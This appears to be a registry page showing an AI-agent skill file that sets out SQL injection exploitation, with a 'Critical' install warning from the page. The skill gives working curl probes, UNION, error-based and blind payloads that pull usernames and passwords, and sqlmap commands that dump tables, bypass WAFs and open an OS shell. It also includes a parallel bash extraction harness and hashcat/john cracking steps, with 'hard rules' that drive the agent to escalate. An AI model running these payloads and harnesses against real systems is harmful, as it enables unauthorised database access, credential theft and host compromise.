SQL Injection — automated and manual exploitation of unsanitized SQL queries. Covers Union-based, Error-based, Blind (Boolean/Time-based), and Stacked queries. Includes sqlmap automation with WAF bypass tamper scripts.
64
76%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/web/sqli/SKILL.mdExploits unsanitized user input in SQL queries. Types: Union-based, Error-based, Blind (Boolean/Time-based), and Stacked queries.
# Single quote error test
curl -s 'https://<TARGET>/page?id=1%27' -o sqli_test_quote.txt
# Boolean test
curl -s 'https://<TARGET>/page?id=1+AND+1=1' -o sqli_true.txt
curl -s 'https://<TARGET>/page?id=1+AND+1=2' -o sqli_false.txt
# Time-based blind
curl -s 'https://<TARGET>/page?id=1%27+AND+SLEEP(5)--+-' --max-time 10 -w '\nTime: %{time_total}s\n' -o sqli_time.txt# Basic detection and exploitation
sqlmap -u 'https://<TARGET>/page?id=1' --batch --output-dir sqlmap_<TARGET>/
# Aggressive scan (higher risk/level)
sqlmap -u 'https://<TARGET>/page?id=1' --batch --risk 3 --level 5 --output-dir sqlmap_<TARGET>/
# POST request
sqlmap -u 'https://<TARGET>/login' --data 'user=admin&pass=test' --batch --output-dir sqlmap_<TARGET>/
# With cookies/headers
sqlmap -u 'https://<TARGET>/page?id=1' --cookie 'session=<TOKEN>' -H 'X-Custom: value' --batch --output-dir sqlmap_<TARGET>/
# Enumerate databases
sqlmap -u 'https://<TARGET>/page?id=1' --batch --dbs --output-dir sqlmap_<TARGET>/
# Dump specific table
sqlmap -u 'https://<TARGET>/page?id=1' --batch -D <DATABASE> -T <TABLE> --dump --output-dir sqlmap_<TARGET>/
# OS shell (if stacked queries + privileges)
sqlmap -u 'https://<TARGET>/page?id=1' --batch --os-shell --output-dir sqlmap_<TARGET>/
# Tamper scripts for WAF bypass
sqlmap -u 'https://<TARGET>/page?id=1' --batch --tamper=space2comment,between,randomcase --output-dir sqlmap_<TARGET>/blind_sqli)When the challenge tag includes blind_sqli, skip exploratory probing and go straight to confirmation + sqlmap:
# Time-based oracle confirmation
curl -s "http://<TARGET>/page?id=1' AND SLEEP(5)--+-" --max-time 10 -w '\nTime: %{time_total}s\n' -o blind_time.txt
# Boolean differential
curl -s "http://<TARGET>/page?id=1' AND 1=1--+-" -o blind_true.txt
curl -s "http://<TARGET>/page?id=1' AND 1=2--+-" -o blind_false.txtsqlmap -u "http://<TARGET>/page?id=1" --technique=BT --batch --dump --threads=5 \
--output-dir sqlmap_blind/ 2>&1 | tee sqlmap_blind.log &Once SQLi is confirmed (any of: error string, boolean differential, time delay), follow this escalation:
| State | Action |
|---|---|
| SQLi confirmed, no extraction yet | Run sqlmap --batch -u "<URL>" --dump --threads=5 FIRST |
| sqlmap fails or is blocked (WAF, custom encoding) | Write ONE harness script (Python/bash) that does length-probe → binary-search → reconstruct in a single invocation |
| Harness produces partial output | LET IT FINISH. Do NOT switch to manual curl probes. Do NOT edit_file the running harness. |
| Harness completes with partial extraction | Submit/verify the partial result before launching a second harness |
Anti-pattern: iterating dozens of manual single-character curls when sqlmap --dump would extract the same column in one invocation. Manual single-char extraction is a teaching exercise, not an attack technique against a confirmed sink.
Hard rule: once SQLi is confirmed (any of: error string, boolean differential, time delay), the next bash call MUST escalate to sqlmap or a scripted harness. Iterating manual character probes after confirmation is the canonical mis-allocation in this skill.
Union-Based
-- Determine column count
ORDER BY 1-- -
ORDER BY 2-- -
-- ... increment until error
-- Extract data via UNION
' UNION SELECT 1,2,3-- -
' UNION SELECT username,password,3 FROM users-- -
' UNION SELECT table_name,column_name,3 FROM information_schema.columns-- -Error-Based (MySQL)
-- ExtractValue
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))-- -
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user FROM mysql.user LIMIT 1),0x7e))-- -
-- UpdateXML
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT @@version),0x7e),1)-- -Blind Boolean
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'-- -
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96-- -Blind Time-Based
-- MySQL
' AND IF(1=1,SLEEP(5),0)-- -
' AND IF((SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a',SLEEP(5),0)-- -
-- MSSQL
'; WAITFOR DELAY '0:0:5'-- -
-- PostgreSQL
'; SELECT pg_sleep(5)-- -When boolean-blind or time-blind is confirmed, character-by-character extraction is slow. Use these strategies to accelerate data retrieval.
Binary search (halving ASCII range)
-- Narrows each character to 7 bits instead of 95 guesses
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>64-- -
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96-- -
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>112-- -Bit-by-bit extraction (7 requests per char, no false positives)
-- Extract bit 7 (MSB) of char at position 1
' AND (ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>>6)&1=1-- -
-- Repeat for bits 6..0, reconstruct with: chr(sum(bit_n * 2^n))Batch length check before extraction
-- Know total length first to bound the loop
' AND LENGTH((SELECT password FROM users LIMIT 1))>15-- -
' AND LENGTH((SELECT password FROM users LIMIT 1))=32-- -UNION-based fallback if error mode unlocks mid-session
-- If WAF relaxes after auth or error context changes, retry UNION
' UNION SELECT NULL,password,NULL FROM users-- -sqlmap turbo flags for blind (use only when manual PoC is confirmed)
# --technique=B (boolean) or T (time), --level=3, --threads up to 10
sqlmap -u "http://target/page?id=1" --technique=BT --level=3 --threads=5 \
--dbms=mysql -D targetdb -T users -C username,password --dump --batchExtraction priority order
information_schema.schemata)information_schema.tables WHERE table_schema=database())information_schema.columns)password, token, secret, api_key, flagWhen SQLi extraction yields a hash (MD5/SHA1/bcrypt/etc.), crack it IMMEDIATELY — do not custom-build a wordlist or guess variants manually:
HASH="<extracted_hash>"
echo "$HASH" > /tmp/crack.hash
# Step 1: try common trivial passwords in-process (covers ~60% of CTF hashes)
for c in "admin" "password" "123456" "password123" "root" "toor" "letmein" "qwerty" \
"admin123" "test" "guest" "user" "changeme" "secret" "p@ssword"; do
# MD5
echo -n "$c" | md5sum | grep -qi "${HASH}" && echo "MD5 MATCH: $c" && break
# SHA1
echo -n "$c" | sha1sum | grep -qi "${HASH}" && echo "SHA1 MATCH: $c" && break
# SHA256
echo -n "$c" | sha256sum | grep -qi "${HASH}" && echo "SHA256 MATCH: $c" && break
done
# Step 2: wordlist crack with hashcat (if installed)
# Identify hash type: hashcat --identify /tmp/crack.hash
hashcat -a 0 /tmp/crack.hash /usr/share/wordlists/rockyou.txt --quiet 2>/dev/null | head -5
# Step 3: john fallback
john /tmp/crack.hash --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 2>/dev/null
john /tmp/crack.hash --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha1 2>/dev/null
john --show /tmp/crack.hash 2>/dev/null
# Step 4: application-context variants (username, app name as base)
APP_USER="admin" # replace with extracted username
for c in "${APP_USER}" "${APP_USER}123" "${APP_USER}!" "${APP_USER}@123" "${APP_USER}2024"; do
echo -n "$c" | md5sum | grep -qi "${HASH}" && echo "CONTEXT MATCH: $c" && break
doneHard rule: Do NOT write a custom character-by-character brute-force loop. Use hashcat/john — they are 1000x faster. If the hash is bcrypt ($2b$), cost >12 makes cracking infeasible; pivot to finding a password-reset flow or auth bypass instead.
When sqlmap is unavailable or blocked and boolean/time-blind is confirmed, run character extractions in parallel — never sequentially.
# Step 1: probe string length first (binary search)
TARGET_URL="http://<TARGET>/page?id="
TARGET_EXPR="(SELECT password FROM users LIMIT 1)"
for len in 16 32 48 64; do
resp=$(curl -s "${TARGET_URL}1' AND LENGTH(${TARGET_EXPR})=${len}--+-")
echo "$len: $(echo "$resp" | wc -c) bytes"
done
# Pick whichever length shows the "true" response size
STR_LEN=32 # set to confirmed length
# Step 2: parallel character extraction (10-20 concurrent jobs)
WORKSPACE="$(pwd)"
mkdir -p "${WORKSPACE}/blind_chars"
for pos in $(seq 1 "$STR_LEN"); do
(
for ascii in $(seq 32 126); do
resp=$(curl -s "${TARGET_URL}1' AND ASCII(SUBSTRING(${TARGET_EXPR},${pos},1))=${ascii}--+-")
# Detect "true" response by comparing size to known-true baseline
if echo "$resp" | grep -q "<KNOWN_TRUE_MARKER>"; then
echo "$ascii" > "${WORKSPACE}/blind_chars/pos_${pos}.txt"
break
fi
done
) &
# Throttle: allow max 20 concurrent jobs
(( (pos % 20) == 0 )) && wait
done
wait
# Step 3: reconstruct string from per-position files
python3 -c "
import os, glob
chars = {}
for f in glob.glob('${WORKSPACE}/blind_chars/pos_*.txt'):
pos = int(os.path.basename(f).replace('pos_','').replace('.txt',''))
chars[pos] = chr(int(open(f).read().strip()))
result = ''.join(chars[p] for p in sorted(chars))
print('Extracted:', result)
"HARD RULE: Once string length is known, the NEXT bash call MUST launch the parallel extraction loop above — not a single-character sequential probe. Sequential extraction at 1 req/char on a 32-char secret = 32 round trips minimum; parallel at 20 concurrent = ≤2 rounds.
0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.